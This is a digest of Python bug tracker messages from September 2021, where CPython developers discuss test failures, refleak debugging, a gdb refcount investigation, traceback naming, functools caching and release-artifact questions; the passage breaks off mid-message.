test_multiprocessing_pool_circular_import (test.test_importlib.test_threaded_import.ThreadedImportTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/test/test_importlib/test_threaded_import.py", line 258, in test_multiprocessing_pool_circular_import script_helper.assert_python_ok(fn) File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/test/support/script_helper.py", line 160, in assert_python_ok return _assert_python(True, *args, **env_vars) File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/test/support/script_helper.py", line 145, in _assert_python res.fail(cmd_line) File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/test/support/script_helper.py", line 72, in fail raise AssertionError("Process return code is %d\n" AssertionError: Process return code is 1 command line: ['/Users/buildbot/buildarea/3.10.billenstein-macos/build/python.exe', '-X', 'faulthandler', '-I', '/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/test/test_importlib/partial/pool_in_threads.py'] stdout: --- --- stderr: --- Traceback (most recent call last): File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/test/test_importlib/partial/pool_in_threads.py", line 9, in t with multiprocessing.Pool(1): File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/context.py", line 119, in Pool return Pool(processes, initializer, initargs, maxtasksperchild, File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/pool.py", line 212, in __init__ self._repopulate_pool() File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/pool.py", line 303, in _repopulate_pool return self._repopulate_pool_static(self._ctx, self.Process, File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/pool.py", line 326, in _repopulate_pool_static w.start() File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/process.py", line 121, in start File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/context.py", line 284, in _Popen return Popen(process_obj) File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/popen_spawn_posix.py", line 32, in __init__ File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/popen_fork.py", line 19, in __init__ self._launch(process_obj) File "/Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/popen_spawn_posix.py", line 53, in _launch OSError: [Errno 24] Too many open files /Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/resource_tracker.py:224: UserWarning: resource_tracker: There appear to be 120 leaked semaphore objects to clean up at shutdown warnings.warn('resource_tracker: There appear to be %d ' /Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/resource_tracker.py:237: UserWarning: resource_tracker: '/mp-klnfwvgv': [Errno 2] No such file or directory warnings.warn('resource_tracker: %r: %s' % (name, e)) /Users/buildbot/buildarea/3.10.billenstein-macos/build/Lib/multiprocessing/resource_tracker.py:237: UserWarning: resource_tracker: '/mp-phgypx9f': [Errno 2] No such file or directory warnings.warn('resource_tracker: %r: %s' % (name, e)) --- ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 09:54:52 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 13:54:52 +0000 Subject: [issue43592] test_importlib: test_multiprocessing_pool_circular_import() fails with "Too many open files" error on os.pipe() In-Reply-To: <1616409182.92.0.0882668450853.issue43592@roundup.psfhosted.org> Message-ID: <1630504492.22.0.399936094683.issue43592@roundup.psfhosted.org> STINNER Victor added the comment: > x86-64 macOS 3.10: https://buildbot.python.org/all/#/builders/681/builds/345 On this machine, RLIMIT_NOFILE soft limit is 256. test.pythoninfo: resource.RLIMIT_NOFILE: (256, 9223372036854775807) platform.platform: macOS-11.5.2-x86_64-i386-64bit socket.hostname: mattb-mbp2 All limits: resource.RLIMIT_AS: (9223372036854775807, 9223372036854775807) resource.RLIMIT_CORE: (0, 9223372036854775807) resource.RLIMIT_CPU: (9223372036854775807, 9223372036854775807) resource.RLIMIT_DATA: (9223372036854775807, 9223372036854775807) resource.RLIMIT_FSIZE: (9223372036854775807, 9223372036854775807) resource.RLIMIT_MEMLOCK: (9223372036854775807, 9223372036854775807) resource.RLIMIT_NOFILE: (256, 9223372036854775807) resource.RLIMIT_NPROC: (2784, 4176) resource.RLIMIT_RSS: (9223372036854775807, 9223372036854775807) resource.RLIMIT_STACK: (67104768, 67104768) resource.pagesize: 4096 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 09:56:08 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Wed, 01 Sep 2021 13:56:08 +0000 Subject: [issue43592] test_importlib: test_multiprocessing_pool_circular_import() fails with "Too many open files" error on os.pipe() In-Reply-To: <1616409182.92.0.0882668450853.issue43592@roundup.psfhosted.org> Message-ID: <1630504568.65.0.764856771507.issue43592@roundup.psfhosted.org> ?ukasz Langa added the comment: Try setting the following: $ sudo sysctl -w kern.maxfiles=65536 $ sudo sysctl -w kern.maxfilesperproc=65536 $ sudo ulimit -n 65536 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 10:10:58 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Wed, 01 Sep 2021 14:10:58 +0000 Subject: [issue43592] test_importlib: test_multiprocessing_pool_circular_import() fails with "Too many open files" error on os.pipe() In-Reply-To: <1616409182.92.0.0882668450853.issue43592@roundup.psfhosted.org> Message-ID: <1630505458.21.0.800353529011.issue43592@roundup.psfhosted.org> ?ukasz Langa added the comment: Before you do it, check the defaults with: $ launchctl limit maxfiles I'm curious. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 10:27:00 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 14:27:00 +0000 Subject: [issue45061] [C API] Detect refcount bugs on True/False in C extensions In-Reply-To: <1630415859.84.0.961228000434.issue45061@roundup.psfhosted.org> Message-ID: <1630506420.45.0.369803418049.issue45061@roundup.psfhosted.org> STINNER Victor added the comment: Christian Tismer: "What about an even more flexible solution? A debug option could memorize always the last object deallocated and give full info (the object's repr) before the crash would happen." Bugs in object_dealloc() are rare. Apart None, True and False, do you know other objects which must not be deleted? Calling repr(obj) can crash during late Python finalization for many reasons. It is slow and can consume significant memory. Not all object types detect loops (a container storing indirectly itself) and so it can fail with a MemoryError: repr() is not "safe". Using gdb, it is easy to dump the object currently being deleted: go the object_dealloc() frame and use "print self" command. Example using attached os_uname_refcount_bug.patch: ------------ $ gdb ./python (...) (gdb) run >>> import os; os.uname() >>> exit() Debug memory block at address p=0x886e60: API '' 0 bytes originally requested The 7 pad bytes at p-7 are not all FORBIDDENBYTE (0xfd): at p-7: 0x00 *** OUCH at p-6: 0x00 *** OUCH at p-5: 0x00 *** OUCH at p-4: 0x00 *** OUCH at p-3: 0x00 *** OUCH at p-2: 0x00 *** OUCH at p-1: 0x00 *** OUCH Because memory is corrupted at the start, the count of bytes requested may be bogus, and checking the trailing pad bytes may segfault. The 8 pad bytes at tail=0x886e60 are not all FORBIDDENBYTE (0xfd): at tail+0: 0x00 *** OUCH at tail+1: 0x00 *** OUCH at tail+2: 0x00 *** OUCH at tail+3: 0x00 *** OUCH at tail+4: 0x00 *** OUCH at tail+5: 0x00 *** OUCH at tail+6: 0x00 *** OUCH at tail+7: 0x00 *** OUCH Enable tracemalloc to get the memory block allocation traceback Fatal Python error: _PyMem_DebugRawFree: bad ID: Allocated using API '', verified using API 'o' Python runtime state: finalizing (tstate=0x00000000008e1a80) Current thread 0x00007ffff7c24740 (most recent call first): Garbage-collecting Program received signal SIGABRT, Aborted. 0x00007ffff7c662a2 in raise () from /lib64/libc.so.6 (...) (gdb) frame 9 #9 0x0000000000499dd7 in object_dealloc (self=True) at Objects/typeobject.c:4497 4497 Py_TYPE(self)->tp_free(self); (gdb) print self $2 = True ------------ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:06:03 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 15:06:03 +0000 Subject: [issue44895] refleak test failure in test_exceptions In-Reply-To: <1628727218.93.0.270541838756.issue44895@roundup.psfhosted.org> Message-ID: <1630508763.63.0.803154384827.issue44895@roundup.psfhosted.org> STINNER Victor added the comment: > I changed dash_R_cleanup to put the sys._clear_type_cache() after clear_caches() and the leak is gone Aha! The order of function calls in dash_R_cleanup() matters. Calling sys._clear_type_cache() at the end of dash_R_cleanup() perfectly makes sense. If you do that, please add a comment to explain that the order matters. For example, the code about ABC classes is likely to modify classes. About the gc_collect() call, I dislike calling it in clear_caches() and then again in dash_R_cleanup(). I would even prefer to *remove* it from both functions and call it explicitly at the call site: in dash_R() and in runtest.py. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:14:17 2021 From: report at bugs.python.org (Chris Jerdonek) Date: Wed, 01 Sep 2021 15:14:17 +0000 Subject: [issue45075] confusion between frame and frame_summary in traceback module In-Reply-To: <1630496744.47.0.411180872388.issue45075@roundup.psfhosted.org> Message-ID: <1630509257.89.0.892173309751.issue45075@roundup.psfhosted.org> Chris Jerdonek added the comment: It might be good to have consistency with what will be used for StackSummary so two different approaches to naming aren't used. By the way, frame_sum is another possibility since I see frame_gen being used. ---------- nosy: +chris.jerdonek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:19:56 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 15:19:56 +0000 Subject: [issue45075] confusion between frame and frame_summary in traceback module In-Reply-To: <1630496744.47.0.411180872388.issue45075@roundup.psfhosted.org> Message-ID: <1630509596.0.0.943514415381.issue45075@roundup.psfhosted.org> Irit Katriel added the comment: I'm not sure I follow. We don't have a similar issue with StackSummary - there is no interpreter type for "stack" that you can confuse it with. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:26:30 2021 From: report at bugs.python.org (Zachary Ware) Date: Wed, 01 Sep 2021 15:26:30 +0000 Subject: [issue45076] open "r+" problem In-Reply-To: <1630497380.88.0.961026516524.issue45076@roundup.psfhosted.org> Message-ID: <1630509990.93.0.0301789706068.issue45076@roundup.psfhosted.org> Zachary Ware added the comment: Usage questions like this are better suited to the Users category at https://discuss.python.org/c/users/7 or the python-list at python.org mailing list. The write is buffered. If you want it to be written before you read, add `f.flush()` after the write; `f.tell()` causes an implicit flush. See also the `buffering` argument to `open`. ---------- nosy: +zach.ware resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:26:25 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 15:26:25 +0000 Subject: [issue44895] refleak test failure in test_exceptions In-Reply-To: <1628727218.93.0.270541838756.issue44895@roundup.psfhosted.org> Message-ID: <1630509985.41.0.676270321478.issue44895@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +26554 pull_request: https://github.com/python/cpython/pull/28113 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:45:35 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 15:45:35 +0000 Subject: [issue44895] refleak test failure in test_exceptions In-Reply-To: <1628727218.93.0.270541838756.issue44895@roundup.psfhosted.org> Message-ID: <1630511135.38.0.740919195049.issue44895@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 679cb4781ea370c3b3ce40d3334dc404d7e9d92b by Victor Stinner in branch 'main': bpo-44895: libregrtest: refleak check clears types later (GH-28113) https://github.com/python/cpython/commit/679cb4781ea370c3b3ce40d3334dc404d7e9d92b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:48:46 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 15:48:46 +0000 Subject: [issue31962] test_importlib double free or corruption In-Reply-To: <1510001792.72.0.213398074469.issue31962@psf.upfronthosting.co.za> Message-ID: <1630511326.59.0.678780093383.issue31962@roundup.psfhosted.org> STINNER Victor added the comment: I close the issue as out of date, since there is no activity for 4 years. Maybe it was fixed in the meanwhile. If it's not the case, please reopen the issue. If someone can still reproduce the issue, it would help to write a short reproducer script based on the test causing the crash. ---------- nosy: +vstinner resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:50:04 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 15:50:04 +0000 Subject: [issue39326] Python-3.8.1 "test_importlib" failed In-Reply-To: <1578977546.19.0.0039726161306.issue39326@roundup.psfhosted.org> Message-ID: <1630511404.32.0.562869315368.issue39326@roundup.psfhosted.org> STINNER Victor added the comment: > Can you please attach the output log of the test? Since the original reporter didn't reply, we cannot investigate the issue and I close it. If you still have the issue, please reopen the issue with the full test output (attached as a file). ---------- nosy: +vstinner resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:54:48 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 15:54:48 +0000 Subject: [issue45078] test_importlib: test_read_bytes() fails on AMD64 Windows8.1 Non-Debug 3.x Message-ID: <1630511688.74.0.180746211339.issue45078@roundup.psfhosted.org> New submission from STINNER Victor : Since build 305 (commit a40675c659cd8c0699f85ee9ac31660f93f8c2f5), test_importlib fails on AMD64 Windows8.1 Non-Debug 3.x: https://buildbot.python.org/all/#/builders/405/builds/305 The last successful build wa the build 304 (commit ee03bad25e83b00ba5fc2a0265b48c6286e6b3f7). Sadly, the test doesn't report the 'actual' variable value when the test fails. ====================================================================== FAIL: test_read_bytes (test.test_importlib.test_files.OpenNamespaceTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\test\test_importlib\test_files.py", line 14, in test_read_bytes assert actual == b'Hello, UTF-8 world!\n' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError ---------- components: Tests messages: 400847 nosy: brett.cannon, jaraco, vstinner priority: normal severity: normal status: open title: test_importlib: test_read_bytes() fails on AMD64 Windows8.1 Non-Debug 3.x versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:56:22 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 15:56:22 +0000 Subject: [issue44895] refleak test failure in test_exceptions In-Reply-To: <1628727218.93.0.270541838756.issue44895@roundup.psfhosted.org> Message-ID: <1630511782.27.0.363719914062.issue44895@roundup.psfhosted.org> Irit Katriel added the comment: With your patch I don't see a leak for refleak.py, but I still see one for ./python.exe -m test -R 3:3 test_exceptions -m test_no_hang_on_context_chain_cycle2 -m test_recursion_normalizing_infinite_exception -m test_recursion_in_except_handler -m test_recursion_normalizing_with_no_memory -F -j1 (once I remove the @skip on test_no_hang_on_context_chain_cycle2). However, if I make this change it looks better: --- a/Lib/test/libregrtest/refleak.py +++ b/Lib/test/libregrtest/refleak.py @@ -90,8 +90,9 @@ def get_pooled_int(value): for i in rep_range: test_func() - dash_R_cleanup(fs, ps, pic, zdc, abcs) - support.gc_collect() + for i in range(3): + dash_R_cleanup(fs, ps, pic, zdc, abcs) + support.gc_collect() ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:57:28 2021 From: report at bugs.python.org (Chris Jerdonek) Date: Wed, 01 Sep 2021 15:57:28 +0000 Subject: [issue45075] confusion between frame and frame_summary in traceback module In-Reply-To: <1630496744.47.0.411180872388.issue45075@roundup.psfhosted.org> Message-ID: <1630511848.94.0.691791021439.issue45075@roundup.psfhosted.org> Chris Jerdonek added the comment: I was suggesting keeping more similarity between FrameSummary and StackSummary in addition to differentiating frame from FrameSummary. Since stack is used for StackSummary, frame_sum is more similar than f_summary while still providing the differentiation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:58:01 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 15:58:01 +0000 Subject: [issue45078] test_importlib: test_read_bytes() fails on AMD64 Windows8.1 Non-Debug 3.x In-Reply-To: <1630511688.74.0.180746211339.issue45078@roundup.psfhosted.org> Message-ID: <1630511881.8.0.386836937888.issue45078@roundup.psfhosted.org> STINNER Victor added the comment: Interesting commits from: $ git log ee03bad25e83b00ba5fc2a0265b48c6286e6b3f7..a40675c659cd8c0699f85ee9ac31660f93f8c2f5 commit aaa83cdfab6817446285e631232f64b394ac6791 Author: Jason R. Coombs Date: Thu Jul 29 21:05:05 2021 -0400 bpo-44771: Apply changes from importlib_resources 5.2.1 (GH-27436) * bpo-44771: Apply changes from importlib_resources at 3b24bd6307 * Add blurb * Exclude namespacedata01 from eol conversion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 11:59:31 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 15:59:31 +0000 Subject: [issue44771] Adopt changes from importlib_resources 5.2 In-Reply-To: <1627526933.52.0.0424131606686.issue44771@roundup.psfhosted.org> Message-ID: <1630511971.39.0.823043296957.issue44771@roundup.psfhosted.org> STINNER Victor added the comment: test_importlib.test_read_bytes() is failing for 1 month on AMD64 Windows8.1 Non-Debug 3.x. Please see bpo-45078, the regression may be caused by the commit aaa83cdfab6817446285e631232f64b394ac6791. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 12:01:09 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 16:01:09 +0000 Subject: [issue45078] test_importlib: test_read_bytes() fails on AMD64 Windows8.1 Non-Debug 3.x In-Reply-To: <1630511688.74.0.180746211339.issue45078@roundup.psfhosted.org> Message-ID: <1630512069.37.0.0464896680992.issue45078@roundup.psfhosted.org> STINNER Victor added the comment: Maybe Git does change the end of line of Lib/test/test_importlib/namespacedata01/utf-8.file file, even if .gitattributes contains: "Lib/test/test_importlib/namespacedata01/* -text" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 12:13:43 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 16:13:43 +0000 Subject: [issue44895] refleak test failure in test_exceptions In-Reply-To: <1628727218.93.0.270541838756.issue44895@roundup.psfhosted.org> Message-ID: <1630512823.92.0.866941971935.issue44895@roundup.psfhosted.org> STINNER Victor added the comment: > (once I remove the @skip on test_no_hang_on_context_chain_cycle2). Oh. I forgot that the test is still skipped! > With your patch I don't see a leak for refleak.py, but I still see one for > ./python.exe -m test -R 3:3 test_exceptions -m test_no_hang_on_context_chain_cycle2 -m test_recursion_normalizing_infinite_exception -m test_recursion_in_except_handler -m test_recursion_normalizing_with_no_memory -F -j1 If I apply attached strict_refleak_check.patch and I remove @unittest.skip("See issue 44895") of test_no_hang_on_context_chain_cycle2(), I get: $ ./python -m test -R 3:3 test_exceptions -m test_no_hang_on_context_chain_cycle2 -m test_recursion_normalizing_infinite_exception -m test_recursion_in_except_handler -m test_recursion_normalizing_with_no_memory (...) test_exceptions leaked [6, -6, 6] references, sum=6 (...) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 12:18:25 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 16:18:25 +0000 Subject: [issue44895] refleak test failure in test_exceptions In-Reply-To: <1628727218.93.0.270541838756.issue44895@roundup.psfhosted.org> Message-ID: <1630513105.04.0.166396827997.issue44895@roundup.psfhosted.org> Irit Katriel added the comment: I changed it to + for i in range(2): + dash_R_cleanup(fs, ps, pic, zdc, abcs) + support.gc_collect() (loop twice instead of 3 times) and that seems fine too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 12:35:43 2021 From: report at bugs.python.org (Eric Snow) Date: Wed, 01 Sep 2021 16:35:43 +0000 Subject: [issue45020] Freeze all modules imported during startup. In-Reply-To: <1630469128.22.0.684725505166.issue45020@roundup.psfhosted.org> Message-ID: Eric Snow added the comment: On Tue, Aug 31, 2021 at 10:05 PM Inada Naoki wrote: > I don't want all frozen header files to be committed in git repository. > Can't we just build them during build process? That's a good point (and an interesting one). Only two of the frozen modules are necessary (_frozen_importlib_external and _frozen_importlib_external, to bootstrap the import system). So for those two it makes sense to have them in the git repository. For all the rest it isn't necessary. The only advantage is that contributors don't have to think about them and they will be guaranteed to be there. However, if someone clones the repo they have to build Python, so the frozen modules will get created anyway at that point. So I'm fine with not committing all those modules. This will require that all those files be added to the .gitignore file. (I'll update my PR accordingly.) -eric ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 12:36:57 2021 From: report at bugs.python.org (Eric Snow) Date: Wed, 01 Sep 2021 16:36:57 +0000 Subject: [issue45020] Freeze all modules imported during startup. In-Reply-To: <1630433679.71.0.35583706938.issue45020@roundup.psfhosted.org> Message-ID: Eric Snow added the comment: On Tue, Aug 31, 2021 at 12:14 PM Brett Cannon wrote: > > set __file__ (and __path__) on frozen modules? > > See https://bugs.python.org/issue21736 Great! I'll take a look. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 12:43:27 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 16:43:27 +0000 Subject: [issue44895] refleak test failure in test_exceptions In-Reply-To: <1628727218.93.0.270541838756.issue44895@roundup.psfhosted.org> Message-ID: <1630514607.19.0.522533024964.issue44895@roundup.psfhosted.org> Change by STINNER Victor : Added file: https://bugs.python.org/file50251/strict_refleak_check.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 12:53:41 2021 From: report at bugs.python.org (Arcadiy Ivanov) Date: Wed, 01 Sep 2021 16:53:41 +0000 Subject: [issue45079] 3.8.11 and 3.8.12 missing Windows artifacts, only tarballs - build system failed? Message-ID: <1630515221.82.0.541526485344.issue45079@roundup.psfhosted.org> New submission from Arcadiy Ivanov : The following versions only contain tarballs with no Windows artifacts available. Is the build system OK? https://www.python.org/ftp/python/3.8.12/ https://www.python.org/ftp/python/3.8.11/ .10 is fine: https://www.python.org/ftp/python/3.8.10/ Latest 3.9 is OK as well. ---------- components: Windows messages: 400857 nosy: arcivanov, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: 3.8.11 and 3.8.12 missing Windows artifacts, only tarballs - build system failed? versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 12:54:27 2021 From: report at bugs.python.org (Leopold Talirz) Date: Wed, 01 Sep 2021 16:54:27 +0000 Subject: [issue45080] functools._HashedSeq implements __hash__ but not __eq__ Message-ID: <1630515267.9.0.090925115847.issue45080@roundup.psfhosted.org> New submission from Leopold Talirz : Disclaimer: this is my first issue on the python bug tracker. Please feel free to close this issue and redirect this to a specific mailing list, if more appropriate. The implementation of `functools._HashedSeq` [1] does not include an implementation of `__eq__` that takes advantage of the hash: ``` class _HashedSeq(list): """ This class guarantees that hash() will be called no more than once per element. This is important because the lru_cache() will hash the key multiple times on a cache miss. """ __slots__ = 'hashvalue' def __init__(self, tup, hash=hash): self[:] = tup self.hashvalue = hash(tup) def __hash__(self): return self.hashvalue ``` As far as I can tell, the `_HashedSeq` object is used as a key for looking up values in the python dictionary that holds the LRU cache, and this lookup mechanism relies on `__eq__` over `__hash__` (besides shortcuts for objects with the same id, etc.). This can cause potentially expensive `__eq__` calls on the arguments of the cached function and I wonder whether this is intended? Here is a short example code to demonstrate this: ``` from functools import _HashedSeq class CompList(list): """Hashable list (please forgive)""" def __eq__(self, other): print("equality comparison") return super().__eq__(other) def __hash__(self): return hash(tuple(self)) args1=CompList((1,2,3)) # represents function arguments passed to lru_cache args2=CompList((1,2,3)) # identical content but different object hs1=_HashedSeq( (args1,)) hs2=_HashedSeq( (args2,)) hs1 == hs2 # True, prints "equality comparison" d={} d[hs1] = "cached" d[hs2] # "cached", prints "equality comparison" ``` Adding the following to the implementation of `_HashedSeq` gets rid of the calls to `__eq__`: ``` def __eq__(self, other): return self.hashvalue == other.hashvalue ``` Happy to open a PR for this. I'm certainly a bit out of my depth here, so apologies if that is all intended behavior. [1] https://github.com/python/cpython/blob/679cb4781ea370c3b3ce40d3334dc404d7e9d92b/Lib/functools.py#L432-L446 ---------- components: Library (Lib) messages: 400858 nosy: leopold.talirz priority: normal severity: normal status: open title: functools._HashedSeq implements __hash__ but not __eq__ type: behavior versions: Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 12:57:03 2021 From: report at bugs.python.org (Zachary Ware) Date: Wed, 01 Sep 2021 16:57:03 +0000 Subject: [issue45079] 3.8.11 and 3.8.12 missing Windows artifacts, only tarballs - build system failed? In-Reply-To: <1630515221.82.0.541526485344.issue45079@roundup.psfhosted.org> Message-ID: <1630515423.54.0.18982834283.issue45079@roundup.psfhosted.org> Zachary Ware added the comment: 3.8 is in security-only maintenance mode, which means we no longer provide binary installers for this version. If you need binary installers, we highly recommend updating to a version in bugfix maintenance mode, which currently means 3.9. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 12:59:52 2021 From: report at bugs.python.org (Arcadiy Ivanov) Date: Wed, 01 Sep 2021 16:59:52 +0000 Subject: [issue45079] 3.8.11 and 3.8.12 missing Windows artifacts, only tarballs - build system failed? In-Reply-To: <1630515221.82.0.541526485344.issue45079@roundup.psfhosted.org> Message-ID: <1630515592.65.0.735619796095.issue45079@roundup.psfhosted.org> Arcadiy Ivanov added the comment: Nevermind. Looks like the policy is not to build binaries once in security fixes only mode. I guess the build bot gets tired or something... ---------- resolution: not a bug -> wont fix _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 13:15:44 2021 From: report at bugs.python.org (Chris Jerdonek) Date: Wed, 01 Sep 2021 17:15:44 +0000 Subject: [issue45075] confusion between frame and frame_summary in traceback module In-Reply-To: <1630496744.47.0.411180872388.issue45075@roundup.psfhosted.org> Message-ID: <1630516544.24.0.409042802017.issue45075@roundup.psfhosted.org> Chris Jerdonek added the comment: Or frame_info (more readable), since FrameSummary is proposed to be "Information about a single frame from a traceback." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 13:42:57 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 17:42:57 +0000 Subject: [issue45075] confusion between frame and frame_summary in traceback module In-Reply-To: <1630496744.47.0.411180872388.issue45075@roundup.psfhosted.org> Message-ID: <1630518177.72.0.299393744498.issue45075@roundup.psfhosted.org> Irit Katriel added the comment: Yes, frame_info is good. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 13:58:34 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Wed, 01 Sep 2021 17:58:34 +0000 Subject: [issue45078] test_importlib: test_read_bytes() fails on AMD64 Windows8.1 Non-Debug 3.x In-Reply-To: <1630511688.74.0.180746211339.issue45078@roundup.psfhosted.org> Message-ID: <1630519114.35.0.112077740489.issue45078@roundup.psfhosted.org> Change by Filipe La?ns : ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 14:16:39 2021 From: report at bugs.python.org (Artem) Date: Wed, 01 Sep 2021 18:16:39 +0000 Subject: [issue39758] StreamWriter.wait_closed() can hang indefinitely. In-Reply-To: <1582713366.75.0.743984348325.issue39758@roundup.psfhosted.org> Message-ID: <1630520199.77.0.510654291584.issue39758@roundup.psfhosted.org> Artem added the comment: See this issue on 3.9.6 No SSL, but plain sockets. This seems to appear when writer.write/writer.drain was cancelled, and writer.close/writer.wait_closed called after this. ---------- nosy: +aeros, seer versions: +Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 15:43:23 2021 From: report at bugs.python.org (Tim Peters) Date: Wed, 01 Sep 2021 19:43:23 +0000 Subject: [issue34561] Replace list sorting merge_collapse()? In-Reply-To: <1535764924.6.0.56676864532.issue34561@psf.upfronthosting.co.za> Message-ID: <1630525403.49.0.277695026051.issue34561@roundup.psfhosted.org> Tim Peters added the comment: I created a PR that implements the powersort merge strategy: https://github.com/python/cpython/pull/28108 Across all the time this issue report has been open, that strategy continues to be the top contender. Enough already ;-) It's indeed a more difficult change to make to the code, but that's in relative terms. In absolute terms, it's not at all a hard change. Laurent, if you find that some variant of ShiversSort actually runs faster than that, let us know here! I'm a big fan of Vincent's innovations too, but powersort seems to do somewhat better "on average" than even his length-adaptive ShiversSort (and implementing that too would require changing code outside of merge_collapse()). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 16:00:28 2021 From: report at bugs.python.org (Ned Deily) Date: Wed, 01 Sep 2021 20:00:28 +0000 Subject: [issue45069] python 3.9.2 contains libcrypto-1_1.dll and libssl-1_1.dll associates CVE-2021-23840\CVE-2021-3450\CVE-2021-3711\CVE-2021-3712\CVE-2021-23841\CVE-2021-3449 of openssl-1.1.1i In-Reply-To: <1630466357.81.0.93174296975.issue45069@roundup.psfhosted.org> Message-ID: <1630526428.81.0.769444762631.issue45069@roundup.psfhosted.org> Ned Deily added the comment: What problem are you reporting here? Python 3.9.2 is no longer current nor supported; the most recent release is 3.9.7, which, among many other changes, now uses OpenSSL 1.1.1l. https://www.python.org/downloads/ https://www.python.org/dev/peps/pep-0596/ https://www.python.org/downloads/ ---------- nosy: +ned.deily resolution: -> out of date status: 